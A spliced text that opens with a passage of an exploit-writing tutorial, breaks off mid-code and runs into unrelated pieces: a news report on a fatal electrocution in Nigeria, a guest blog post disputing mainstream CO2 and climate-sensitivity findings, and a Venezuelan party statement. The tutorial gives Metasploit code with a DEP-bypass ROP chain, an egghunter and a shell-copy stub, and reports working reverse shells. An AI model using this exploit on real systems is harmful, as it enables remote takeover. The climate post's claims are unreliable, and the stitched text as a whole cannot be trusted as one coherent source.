def exploit header = " \x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00 " header << " \x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40 " sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << " \x7f " * 34 #max buffer + max memcpy() sploit << " A " * 32 #buffer on stack sploit << [0x100b257b].pack('V') # POP ESP # RETN sploit << [0x771a22e4].pack('V') #pointer in ECX which will be ptr -> ptr -> ptr for call [EAX+58] sploit << " A " * 84 #buffer on stack sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status(" Sending request. This will take a few seconds... ") sock.put(header + sploit) handler disconnect end
Looks like were in business.� We have a reliable pointer to return to the stack via call [eax+58]. We have a way to return into a bigger part of our payload, and we have a static location to call NtSetInformationProcess() which should allow us to disable DEP for the entire process.
Now its time to craft our ROP chain, but we have 2 ‘new’ issues :
As you can see in the stack dump above, the available space for the rop chain is limited.
On top of that, we still need to find a way to put our shellcode and jump to it after disabling DEP
Anyways, let’s start with the ROP chain itself.
�
The rop chain
For more info on crafting a ROP chain, check Peter’s ROP tutorial
As explained above, the ROP chain needs to set up the arguments for a NtSetInformationProcess() call,� so the exploit can execute code from potentially non-executable memory locations (stack, heap) after that.
The parameters to set up on the stack are :
Return address : Value to be generated, indicates where function needs to return to (= location where your shellcode is placed). The pushad will make sure a pointer to our shellcode is placed at the right place on the stack, there’s nothing we need to do to make this happen.
NtCurrentProcess() : Static value, set to 0xFFFFFFFF
ProcessExecuteFlags : Static value, set to 0x22
&ExecuteFlags : Writeable pointer to 0x00000002, we’ll use 7c331d24 (!mona find -type bin -s ‘\x02\x00\x00\x00’ -m mfc71u.dll)
sizeOf(ExecuteFlags) : Static value, set to 0x4
Putting everything together, the ROP chain looks like this :
def exploit header = " \x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00 " header << " \x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40 " rop_chain = [ 0x100b257b, # POP ESP # RETN 0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py) 0x10047355, # Duplicate, readable, RETN 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xffffffde, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x1011e33e, # XCHG EAX,EDX # RETN 0x1001ab22, # POP ECX # RETN ** [GenClientU.dll] 0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP) 0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll] 0x10080163, # POP ESI # RETN -> EDI 0x41414141, 0x41414141, 0xffffffff, # NtCurrentProcess() (EBX) 0x7c331d24, # ptr to 0x2 -> ECX 0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll] 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xfffffffc, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x100dda84, # PUSHAD # RETN ** [GenClientU.dll] ].pack('V*') sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << " \x7f " * 34 #max buffer + max memcpy() sploit << " B " * 32 sploit << rop_chain sploit << " A " * 20 #buffer on stack sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status(" Sending request. This will take a few seconds... ") sock.put(header + sploit) handler disconnect end
This code will disable DEP and allow us to execute the code placed after the ROP chain.
A few more words about the rop chain :
The first 2 pointers in the chain are in fact the ones that will lead to executing the chain.� The second pointer is the one that will lead to initiating the chain via the call [EAX+58], and the first one is the first gadget (POP ESP / RETN).
From our first short analysis It looks like the next 2 pointers (10047355) need to be the same, although it may be possible the first one only needs to be readable. The second one is the one used during the ROP chain, but prior to gaining code execution (ROP) there is some code which will read the 2 pointers. What they are used for is not that important at this stage.
The other pointers are the gadgets that will craft the stack layout and finally call NtSetInformationProcess() before executing code from the stack.
�
Run code…
Nice, we have now disabled DEP for the entire process, and we can run arbitrary code. As indicated earlier, the available space to execute code after the rop chain is very limited.
We only have a few more bytes left after the rop chain.� Luckily, we have 32 bytes at our disposal before the rop chain� (filled with “B” in the script above)
That’s the perfect size for an egghunter. We’ll put the egg (tags + payload) somewhere at the bottom of the payload.� Since we know the entire original packet was read into the heap, the egghunter should be able to� find it, solving the second issue :)
The problem is we can not run the built in checksum to make sure we find our right tag, so we’ll have to make sure the tags are not found anywhere in our stack. A quick and easy solution is using “sploit << “A” * 10 #buffer on stack” after the rop chain to ensure that we don’t put our tag (“w00tw00t”) on the stack.
Let’s go ahead and add our egghunter and set a breakpoint at “JMP EDI” (at the end of the egghunter) right before our payload to make sure it finds it correctly. Our new code will look like this
def exploit eggoptions = { :eggtag => 'w00t', } hunter, egg = generate_egghunter(payload.encoded, "", eggoptions) header = " \x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00 " header << " \x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40 " rop_chain = [ 0x100b257b, # POP ESP # RETN 0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py) 0x10047355, # Duplicate, readable, RETN 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xffffffde, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x1011e33e, # XCHG EAX,EDX # RETN 0x1001ab22, # POP ECX # RETN ** [GenClientU.dll] 0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP) 0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll] 0x10080163, # POP ESI # RETN -> EDI 0x41414141, 0x41414141, 0xffffffff, # NtCurrentProcess() (EBX) 0x7c331d24, # ptr to 0x2 -> ECX 0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll] 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xfffffffc, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x100dda84, # PUSHAD # RETN ** [GenClientU.dll] 0x90908aeb, # jmp back to egghunter ].pack('V*') sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << " \x7f " * 34 #max buffer + max memcpy() sploit << hunter #egghunter sploit << rop_chain sploit << " A " * 20 #clear out buffer on stack sploit << egg sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status(" Sending request. This will take a few seconds... ") sock.put(header + sploit) handler disconnect end
If we take a look at EDI we can see our dump points to our shellcode! Time for testing!
�
Shellcode time!
Run shellcode
Finally, time to test & see if the module works.
I usually perform 3 type of tests on a new Metasploit module :
Execute calc or run messagebox (relatively ‘safe’ shellcode, no network interactions)
Bind shell (normal or reverse)
Meterpreter (which is what we all want, right? :)). Let’s cross fingers & hope the issue with meterpreter is fixed too by changing the way we call our payload… May be wishful thinking, but never say never.
calc
works fine
bind shell
normal : works fine
reverse : works fine
meterpreter
(still keeping fingers crossed at this time)
Meterpreter just hangs in msfconsole, and debugger says this :
damn! Meterpreter is still broken.
After reloading everything & stepping thru the payload, we noticed that stage 1 of the shellcode works fine, but stage 2 dies during execution.
The call stack at crash time looks like this :
0:007> k ChildEBP RetAddr 0172ef2c 7c9556d9 ntdll!RtlQueryProcessHeapInformation+0x385 0172ef88 7c864c5e ntdll!RtlQueryProcessDebugInformation+0x1ee 0172efac 01837d93 kernel32!Heap32First+0x48 WARNING: Frame IP not in any known module. Following frames may be wrong. 0172f874 7c8024c7 +0x1837d92 0172f878 00000000 kernel32!ReleaseMutex+0x10
It looks like something went wrong during a heap related operation.
Hmmm.
We could write some code that would basically upload a meterpreter executable and run it, but that’s suboptimal to say the least.� We really have to solve the issue in order to deliver a nice and reliable exploit module.
sinn3r suggested to try to use a smaller packet, trying to prevent the heap from being smashed, so that’s the first thing we tried.
�
The trials and tribulations
Smaller packet
I tried changing the total length of the packet, but unfortunately it didn’t really help. If the payload is too small, we’re not gaining control over EIP anymore. With a larger packet, we continue to breaking the heap.
copy shellcode to stack – memcpy()
Maybe copying the shellcode to the stack (after it was located in the heap) might work.� I wrote a few lines of asm which copies the shellcode (after it was found by the egghunter), copy it onto the stack, and run it.
The modified Metasploit module now looks like this :
def exploit move_stub_asm = %Q| push 0x450 add edi,0x1b push edi push esp pop ebx sub ebx, 2000 push ebx push ebx mov eax,0x10162888 push [eax] ret | move_stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, move_stub_asm).encode_string thepayload = move_stub << payload.encoded eggoptions = { :eggtag => 'w00t', } hunter, egg = generate_egghunter(thepayload, "", eggoptions) header = " \x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00 " header << " \x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00
|
caption Scores of people were watching the game in this viewing centre
At least seven people have died after an electric cable fell on fans watching a Manchester United match on TV in Nigeria, police say.
The high-tension cable fell on a crowded shack showing the Europa League quarter-final against Anderlecht in the southern city of Calabar.
At least 30 people were taken to hospital by local ambulances and police who arrived quickly at the scene.
English football has a large and passionate following in Nigeria.
Africa Live: Updates on this and other stories
Eyewitnesses describe hearing a loud explosion from an electrical transformer which caused the cable to fall.
One man told local media that the venue had a roof made out of zinc, which transferred the electricity to those inside.
An eyewitness told the BBC he had counted at least 16 bodies at the scene of the accident.
It has been reported that scores of fans managed to escape.
Manchester United has responded by tweeting its condolences to the victims and their families.
Image copyright Twitter
Nigerian President Muhammadu Buhari has also sent his condolences.
A statement from State House said Mr Buhari was "shocked and saddened" to learn of the tragic event.
The death of "the mostly young victims" the statement adds, "is a big blow not only to their families, but also to the football-loving nation".Guest Post by David Middleton
The World Meteorological Organization (Why do I always think of Team America: World Police whenever “World” and “Organization” appear in the same title?) recently announced that atmospheric greenhouse gases had once again set a new record.
Records are made to be broken
I wonder if the folks at the WMO are aware of the following three facts:
1) The first “record high” CO2 level was set in 1809, at a time when cumulative anthropogenic carbon emissions had yet to exceed the equivalent of 0.2 ppmv CO2?
Figure 1. The Original CO2 “Hockey Stick.” CO2 emissions data from Oak Ridge National Laboratory’s Carbon Dioxide Information Analysis Center (CDIAC). The emissions (GtC) were divided by 2.13 to obtain ppmv CO2.
2) From 1750 to 1875, atmospheric CO2 rose at ten times the rate of the cumulative anthropogenic emissions…
Figure 2. Where, oh where, did that CO2 come from?
3) Cumulative anthropogenic emissions didn’t “catch up” to the rise in atmospheric CO2 until 1960…
Figure 3. It took humans over 100 years to “catch up” to nature.
The emissions were only able to “catch up” because atmospheric CO2 levels stalled at ~312 ppmv from 1940-1955.
The mid-20th century decline in atmospheric CO2
The highest resolution Antarctic ice cores I am aware of come from Law Dome (Etheridge et al., 1998), particularly the DE08 core. Over the past decade, the Law Dome ice core resolution has been improved through denser sampling and the application of frequency enhancing signal processing techniques (Trudinger et el., 2002 and MacFarling Meure et al., 2006). Not surprisingly, the higher resolution data are indicating more variability in preindustrial CO2 levels.
Plant stomata reconstructions (Kouwenberg et al., 2005, Finsinger and Wagner-Cremer, 2009) and contemporary chemical analyses (Beck, 2007) indicate that CO2 levels in the 1930′s to early 1940′s were in the 340 to 400 ppmv range and then declined sharply in the 1950’s. These findings have been rejected by the so-called scientific consensus because this fluctuation is not resolved in Antarctic ice cores. However, MacFarling Meure et al., 2006 found possible evidence of a mid-20th Century CO2 decline in the DE08 ice core…
The stabilization of atmospheric CO2 concentration during the 1940s and 1950s is a notable feature in the ice core record. The new high density measurements confirm this result and show that CO2 concentrations stabilized at 310–312 ppm from ~1940–1955. The CH4 and N2O growth rates also decreased during this period, although the N2O variation is comparable to the measurement uncertainty. Smoothing due to enclosure of air in the ice (about 10 years at DE08) removes high frequency variations from the record, so the true atmospheric variation may have been larger than represented in the ice core air record. Even a decrease in the atmospheric CO2 concentration during the mid-1940s is consistent with the Law Dome record and the air enclosure smoothing, suggesting a large additional sink of ~3.0 PgC yr-1 [Trudinger et al., 2002a]. The d13CO2 record during this time suggests that this additional sink was mostly oceanic and not caused by lower fossil emissions or the terrestrial biosphere [Etheridge et al., 1996; Trudinger et al., 2002a]. The processes that could cause this response are still unknown. [11] The CO2 stabilization occurred during a shift from persistent El Niño to La Niña conditions [Allan and D’Arrigo, 1999]. This coincided with a warm-cool phase change of the Pacific Decadal Oscillation [Mantua et al., 1997], cooling temperatures [Moberg et al., 2005] and progressively weakening North Atlantic thermohaline circulation [Latif et al., 2004]. The combined effect of these factors on the trace gas budgets is not presently well understood. They may be significant for the atmospheric CO2 concentration if fluxes in areas of carbon uptake, such as the North Pacific Ocean, are enhanced, or if efflux from the tropics is suppressed.
From about 1940 through 1955, approximately 24 billion tons of carbon went straight from the exhaust pipes into the oceans and/or biosphere.
If oceanic uptake of CO2 caused ocean acidification, shouldn’t we see some evidence of it? Shouldn’t “a large additional sink of ~3.0 PgC yr-1” (or more) from ~1940–1955 have left a mark somewhere in the oceans? Maybe dissolved some snails or a reef?
Had atmospheric CO2 simply followed the preindustrial trajectory, it very likely would have reached 315-345 ppmv by 2010…
Oddly enough, plant stomata-derived CO2 reconstructions indicate that CO2 levels of 315-345 ppmv have not been uncommon throughout the Holocene…
So, what on Earth could have driven all of that CO2 variability before humans started burning fossil fuels? Could it possibly have been temperature changes?
CO2 as feedback
When I plot a NH temperature reconstruction (Moberg et al., 2005) along with the Law Dome CO2 record, it sure looks to me as if the CO2 started rising about 100 years after the temperature started rising…
The rise in CO2 from 1842-1945 looks a heck of a lot like the rise in temperature from 1750-1852…
The correlation is very strong. A calculated CO2 chronology yields a good match to the DE08 ice core and stomata-derived CO2 since 1850. However, it indicates that atmospheric CO2 would have reached ~430 ppmv in the mid-12th century AD.
The mid-12th century peak in CO2 is not supported by either the ice cores or the plant stomata. The correlation breaks down before the 1830’s. However, the same break down also happens when CO2 is treated as forcing rather than feedback.
CO2 as forcing
If I directly cross plot CO2 vs. temperature with no lag time, I get a fair correlation with the post DE08 core (>1833) data and no correlation at all with pre-DE08 core (<1833) data…
If I extrapolate out to about 840 ppmv CO2, I get about 3 °C of warming relative to 275 ppmv. So, I get the same amount of warming for a tripling of preindustrial CO2 that the IPCC says we’ll get with a doubling.
Based on this correlation, the equilibrium climate sensitivity to a doubling of preindustrial CO2 is ~1.5 to 2.0 °C. But, the total lack of a correlation in the ice cores older than DE08 is very puzzling.
Ice core resolution and the lack a CO2-temperature coupling before 1833
Could the lack of variability in the older (and deeper) cores have something to do with resolution? The DE08 core is of far higher resolution than pretty well all of the other Antarctic ice cores, including the deeper and older DSS core from Law Dome.
The amplitude of the CO2 “signal” also appears to be well-correlated with the snow accumulation rate (resolution) of the ice cores…
Could it be that snow accumulation rates significantly lower than 1 m/yr simply can’t resolve century-scale and higher frequency CO2 shifts? Could it also be that the frequency degradation is also attenuating the amplitude of the CO2 “signal”?
If the vast majority of the ice cores older and deeper than DE08 can’t resolve century-scale and higher frequency CO2 shifts, doesn’t it make sense that ice core-derived CO2 and temperature would appear to be poorly coupled over most of the Holocene?
Why is it that the evidence always seems to indicate that the IPCC’s best case scenario is the worst that can happen in the real world?
Brad Plummer’s recent piece in the Washington Post featured a graph that caught my eye…
It appears that a “business as usual” (A1FI) will turn Earth into Venus by 2100 AD.
But, what happens if I use real data?
Let’s assume that the atmospheric CO2 level will rise along an exponential trend line until 2100.
I get a CO2 level of 560 ppmv, comparable to the IPCC SRES B2 emissions scenario…
So, business as usual will likely lead to the same CO2 level as an IPCC greentopian scenario. Why am I not surprised?
Assuming all of the warming since 1833 was caused by CO2 (it wasn’t), 560 ppmv will lead to about 1°C of additional warming by the year 2100.
How does this compare with the IPCC’s mythical scenarios? About as expected. The worst case scenario based on actual observations is comparable to the IPCC’s best case, greentopian scenario…
Conclusions
Atmospheric CO2 concentration records were being broken long before anthropogenic emissions became significant.
Atmospheric CO2 levels were rising much faster than anthropogenic emissions from 1750-1875.
Anthropogenic emissions did not “catch up” to atmospheric CO2 until 1960.
The natural carbon flux is much more variable than the so-called scientific consensus thinks it is.
The equilibrium climate sensitivity (ECS) cannot be more than 2°C and is probably closer to 1°C.
The worst-case scenario based on the evidence is comparable to the IPCC’s most greentopian, best-case scenario.
Ice cores with accumulation rates less than 1m/yr are not useful for ECS estimations.
The ECS derived from the Law Dome DE08 ice core and Moberg’s NH temperature reconstruction assumes that all of the warming since 1833 was due to CO2. We know for a fact that at least half of the warming was due to solar influences and natural climatic oscillations. So the derived 2°C is more likely to be 1°C. Since it is clear that about half of the rise from 275 to 400 ppmv was natural, the anthropogenic component of that 1°C ECS is probably less than 0.7°C.
The lack of a correlation between temperature and CO2 from the start of the Holocene up until 1833 and the fact that the modern CO2 rise outpaced the anthropogenic emissions for about 200 years leads this amateur climate researcher to concluded that CO2 must have been a lot more variable over the last 10,000 years than the Antarctic ice core indicate.
Appendix I: Another Way to Look at the CO2 growth rate
In Figure 15 I used the Excel-calculated exponential trend line to extrapolate the MLO CO2 time series to the end of this century. If I extrapolate the emissions and assume 55% of emissions remain in atmosphere, I get ~702 ppmv by the end of the century, with an additional 0.6°C of warming. A total warming of 2.5°C above “preindustrial.” Even this worse than worst case scenario results in about 1°C less warming than the A1B reference scenario. It falls about mid-way between A1B and the top of the greentopian range.
Appendix II: CO2 Records, the Early Years
Whenever CO2 records are mentioned or breathtaking pronouncements like, “Carbon dioxide at highest level in 800,000 years” are made, I always like to take a look at those “records” in a geological context. The following graphs were generated from Bill Illis’ excellent collection of paleo-climate data.
In the following bar chart I grouped CO2 by geologic period. The Cambrian through Cretaceous are drawn from Berner and Kothavala, 2001 (GEOCARB), the Tertiary is from Pagani, et al. 2006 (deep sea sediment cores), the Pleistocene is from Lüthi, et al. 2008 (EPICA C Antarctic ice core), the “Anthropocene” is from NOAA-ESRL (Mauna Loa Observatory) and the CO2 starvation is from Ward et al., 2005.
[SARC ON] I thought about including Venus on the bar chart; but I would have had to use a logarithmic scale. [SARC OFF]
Appendix III: Plant Stomata-Derived CO2
The catalogue of peer-reviewed papers demonstrating higher and more variable preindustrial CO2 levels is quite impressive and growing. Here are a few highlights:
Wagner et al., 1999. Century-Scale Shifts in Early Holocene Atmospheric CO2 Concentration. Science 18 June 1999: Vol. 284 no. 5422 pp. 1971-1973…
In contrast to conventional ice core estimates of 270 to 280 parts per million by volume (ppmv), the stomatal frequency signal suggests that early Holocene carbon dioxide concentrations were well above 300 ppmv. […] Most of the Holocene ice core records from Antarctica do not have adequate temporal resolution. […] Our results falsify the concept of relatively stabilized Holocene CO2 concentrations of 270 to 280 ppmv until the industrial revolution. SI-based CO2 reconstructions may even suggest that, during the early Holocene, atmospheric CO2 concentrations that were.300 ppmv could have been the rule rather than the exception.
The ice cores cannot resolve CO2 shifts that occur over periods of time shorter than twice the bubble enclosure period. This is basic signal theory. The assertion of a stable pre-industrial 270-280 ppmv is flat-out wrong.
McElwain et al., 2001. Stomatal evidence for a decline in atmospheric CO2 concentration during the Younger Dryas stadial: a comparison with Antarctic ice core records. J. Quaternary Sci., Vol. 17 pp. 21–29. ISSN 0267-8179…
It is possible that a number of the short-term fluctuations recorded using the stomatal methods cannot be detected in ice cores, such as Dome Concordia, with low ice accumulation rates. According to Neftel et al. (1988), CO2 fluctuation with a duration of less than twice the bubble enclosure time (equivalent to approximately 134 calendar yr in the case of Byrd ice and up to 550 calendar yr in Dome Concordia) cannot be detected in the ice or reconstructed by deconvolution.
Not even the highest resolution ice cores, like Law Dome, have adequate resolution to correctly image the MLO instrumental record.
Kouwenberg et al., 2005. Atmospheric CO2 fluctuations during the last millennium reconstructed by stomatal frequency analysis of Tsuga heterophylla needles. Geology; January 2005; v. 33; no. 1; p. 33–36…
The discrepancies between the ice-core and stomatal reconstructions may partially be explained by varying age distributions of the air in the bubbles because of the enclosure time in the firn-ice transition zone. This effect creates a site-specific smoothing of the signal (decades for Dome Summit South [DSS], Law Dome, even more for ice cores at low accumulation sites), as well as a difference in age between the air and surrounding ice, hampering the construction of well-constrained time scales (Trudinger et al., 2003).
Stomatal reconstructions are reproducible over at least the Northern Hemisphere, throughout the Holocene and consistently demonstrate that the pre-industrial natural carbon flux was far more variable than indicated by the ice cores.
Wagner et al., 2004. Reproducibility of Holocene atmospheric CO2 records based on stomatal frequency. Quaternary Science Reviews. 23 (2004) 1947–1954…
The majority of the stomatal frequency-based estimates of CO 2 for the Holocene do not support the widely accepted concept of comparably stable CO2 concentrations throughout the past 11,500 years. To address the critique that these stomatal frequency variations result from local environmental change or methodological insufficiencies, multiple stomatal frequency records were compared for three climatic key periods during the Holocene, namely the Preboreal oscillation, the 8.2 kyr cooling event and the Little Ice Age. The highly comparable fluctuations in the paleo-atmospheric CO2 records, which were obtained from different continents and plant species (deciduous angiosperms as well as conifers) using varying calibration approaches, provide strong evidence for the integrity of leaf-based CO2 quantification.
The Antarctic ice cores lack adequate resolution because the firn densification process acts like a low-pass filter.
Van Hoof et al., 2005. Atmospheric CO2 during the 13th century AD: reconciliation of data from ice core measurements and stomatal frequency analysis. Tellus 57B (2005), 4…
Atmospheric CO2 reconstructions are currently available from direct measurements of air enclosures in Antarctic ice and, alternatively, from stomatal frequency analysis performed on fossil leaves. A period where both methods consistently provide evidence for natural CO2 changes is during the 13th century AD. The results of the two independent methods differ significantly in the amplitude of the estimated CO2 changes (10 ppmv ice versus 34 ppmv stomatal frequency). Here, we compare the stomatal frequency and ice core results by using a firn diffusion model in order to assess the potential influence of smoothing during enclosure on the temporal resolution as well as the amplitude of the CO2 changes. The seemingly large discrepancies between the amplitudes estimated by the contrasting methods diminish when the raw stomatal data are smoothed in an analogous way to the natural smoothing which occurs in the firn.
The derivation of equilibrium climate sensitivity (ECS) to atmospheric CO2 is largely based on Antarctic ice cores. The problem is that the temperature estimates are based on oxygen isotope ratios in the ice itself; while the CO2 estimates are based on gas bubbles trapped in the ice.
The temperature data are of very high resolution. The oxygen isotope ratios are functions of the temperature at the time of snow deposition. The CO2 data are of very low and variable resolution because it takes decades to centuries for the gas bubbles to form. The CO2 values from the ice cores represent average values over many decades to centuries. The temperature values have annual to decadal resolution.
The highest resolution Antarctic ice core is the DE08 core from Law Dome.
The IPCC and so-called scientific consensus assume that it can resolve annual changes in CO2. But it can’t. Each CO2 value represents a roughly 30-yr average and not an annual value.
If you smooth the Mauna Loa instrumental record (red curve) and plant stomata-derived pre-instrumental CO2 (green curve) with a 30-yr filter, they tie into the Law Dome DE08 ice core (light blue curve) quite nicely…
The deeper DSS core (dark blue curve) has a much lower temporal resolution due to its much lower accumulation rate and compaction effects. It is totally useless in resolving century scale shifts, much less decadal shifts.
The IPCC and so-called scientific consensus correctly assume that resolution is dictated by the bubble enclosure period. However, they are incorrect in limiting the bubble enclosure period to the sealing zone. In the case of the core DE08 they assume that they are looking at a signal with a 1 cycle/1 yr frequency, sampled once every 8-10 years. The actual signal has a 1 cycle/30-40 yr frequency, sampled once every 8-10 years.
30-40 ppmv shifts in CO2 over periods less than ~60 years cannot be accurately resolved in the DE08 core. That’s dictated by basic signal theory. Wagner et al., 1999 drew a very hostile response from the so-called scientific consensus. All Dr. Wagner-Cremer did to them was to falsify one little hypothesis…
In contrast to conventional ice core estimates of 270 to 280 parts per million by volume (ppmv), the stomatal frequency signal suggests that early Holocene carbon dioxide concentrations were well above 300 ppmv. […] Our results falsify the concept of relatively stabilized Holocene CO2 concentrations of 270 to 280 ppmv until the industrial revolution. SI-based CO2 reconstructions may even suggest that, during the early Holocene, atmospheric CO2 concentrations that were >300 ppmv could have been the rule rather than the exception (23).
The plant stomata pretty well prove that Holocene CO2 levels have frequently been in the 300-350 ppmv range and occasionally above 400 ppmv over the last 10,000 years.
The incorrect estimation of a 3°C ECS to CO2 is almost entirely driven the assumption that preindustrial CO2 levels were in the 270-280 ppmv range, as indicated by the Antarctic ice cores.
The plant stomata data clearly show that preindustrial atmospheric CO2 levels were much higher and far more variable than indicated by Antarctic ice cores. Which means that the rise in atmospheric CO2 since the 1800’s is not particularly anomalous and at least half of it is due to oceanic and biosphere responses to the warm-up from the Little Ice Age.
As the Earth’s climate continues to not cooperate with their models, the so-called consensus will eventually recognize and acknowledge their fundamental error. Hopefully we won’t have allowed decarbonization zealotry to bankrupt us beforehand.
Until the paradigm shifts, all estimates of the pre-industrial relationship between atmospheric CO2 and temperature derived from Antarctic ice cores will be wrong, because the ice core temperature and CO2 time series are of vastly different resolutions. And until the “so-called consensus” gets the signal processing right, they will continue to get it wrong.
References
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Barnola et al. 1987. Vostok ice core provides 160,000-year record of atmospheric CO2.
Nature, 329, 408-414.
Berner, R.A. and Z. Kothavala, 2001. GEOCARB III: A Revised Model of Atmospheric CO2 over Phanerozoic Time, American Journal of Science, v.301, pp.182-204, February 2001.
Boden, T.A., G. Marland, and R.J. Andres. 2012. Global, Regional, and National Fossil-Fuel CO 2 Emissions. Carbon Dioxide Information Analysis Center, Oak Ridge National Laboratory, U.S. Department of Energy, Oak Ridge, Tenn., U.S.A. doi 10.3334/CDIAC/00001_V2012
Etheridge, D.M., L.P. Steele, R.L. Langenfelds, R.J. Francey, J.-M. Barnola and V.I. Morgan. 1998. Historical CO 2 records from the Law Dome DE08, DE08-2, and DSS ice cores. In Trends: A Compendium of Data on Global Change. Carbon Dioxide Information Analysis Center, Oak Ridge National Laboratory, U.S. Department of Energy, Oak Ridge, Tenn., U.S.A.
Finsinger, W. and F. Wagner-Cremer. Stomatal-based inference models for reconstruction of atmospheric CO2 concentration: a method assessment using a calibration and validation approach. The Holocene 19,5 (2009) pp. 757–764
Fischer, H. A Short Primer on Ice Core Science. Climate and Environmental Physics, Physics Institute, University of Bern.
Garcıa-Amorena, I., F. Wagner-Cremer, F. Gomez Manzaneque, T. B. van Hoof, S. Garcıa Alvarez, and H. Visscher. 2008. CO2 radiative forcing during the Holocene Thermal Maximum revealed by stomatal frequency of Iberian oak leaves. Biogeosciences Discussions 5, 3945–3964, 2008.
Illis, B. 2009. Searching the PaleoClimate Record for Estimated Correlations: Temperature, CO2 and Sea Level. Watts Up With That?
Indermühle A., T.F. Stocker, F. Joos, H. Fischer, H.J. Smith, M. Wahlen, B. Deck, D. Mastroianni, J. Tschumi, T. Blunier, R. Meyer, B. Stauffer, 1999, Holocene carbon-cycle dynamics based on CO2 trapped in ice at Taylor Dome, Antarctica. Nature 398, 121-126.
Jessen, C. A., Rundgren, M., Bjorck, S. and Hammarlund, D. 2005. Abrupt climatic changes and an unstable transition into a late Holocene Thermal Decline: a multiproxy lacustrine record from southern Sweden. J. Quaternary Sci., Vol. 20 pp. 349–362. ISSN 0267-8179.
Kouwenberg, LLR. 2004. Application of conifer needles in the reconstruction of Holocene CO2 levels. PhD Thesis. Laboratory of Palaeobotany and Palynology, University of Utrecht.
Kouwenberg, LLR, Wagner F, Kurschner WM, Visscher H (2005) Atmospheric CO2 fluctuations during the last millennium reconstructed by stomatal frequency analysis of Tsuga heterophylla needles. Geology 33:33–36
Ljungqvist, F.C.2009. Temperature proxy records covering the last two millennia: a tabular and visual overview. Geografiska Annaler: Physical Geography, Vol. 91A, pp. 11-29.
Ljungqvist, F.C. 2010. A new reconstruction of temperature variability in the extra-tropical Northern Hemisphere during the last two millennia. Geografiska Annaler: Physical Geography, Vol. 92 A(3), pp. 339-351, September 2010. DOI: 10.1111/j.1468-0459.2010.00399.x
Lüthi, D., M. Le Floch, B. Bereiter, T. Blunier, J.-M. Barnola, U. Siegenthaler, D. Raynaud, J. Jouzel, H. Fischer, K. Kawamura, and T.F. Stocker. 2008. High-resolution carbon dioxide concentration record 650,000-800,000 years before present. Nature, Vol. 453, pp. 379-382, 15 May 2008. doi:10.1038/nature06949
MacFarling Meure, C., D. Etheridge, C. Trudinger, P. Steele, R. Langenfelds, T. van Ommen, A. Smith, and J. Elkins (2006), Law Dome CO 2, CH 4 and N 2 O ice core records extended to 2000 years BP, Geophys. Res. Lett., 33, L14810, doi:10.1029/2006GL026152.
McElwain et al., 2001. Stomatal evidence for a decline in atmospheric CO2 concentration during the Younger Dryas stadial: a comparison with Antarctic ice core records. J. Quaternary Sci., Vol. 17 pp. 21–29. ISSN 0267-8179
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RedditDetails Created: Wednesday, 26 October 2016 09:55 Written by PSUV (United Socialist Party of Venezuela)
Article by PSUV (United Socialist Party of Venezuela)
1. The right wing won a majority in the National Assembly in December 2015.
2. Its principal objective since taking its seats in Parliament has been to overthrow President Nicolás Maduro.
3. To do this, the right wing took FOUR months debating what should be the method to remove the President, considering at the least, the following:
- Demanding his resignation
- Putting him on trial
- Declaring him mentally incapable
- Nullifying his election because he is Colombian
- Adding to or changing the constitution to reduce his period in office
- Applying social pressure from the streets
- Calling a Referendum to revoke the Presidency
4. Recently, towards the end of April, they decided to open the process of demanding a revocation.
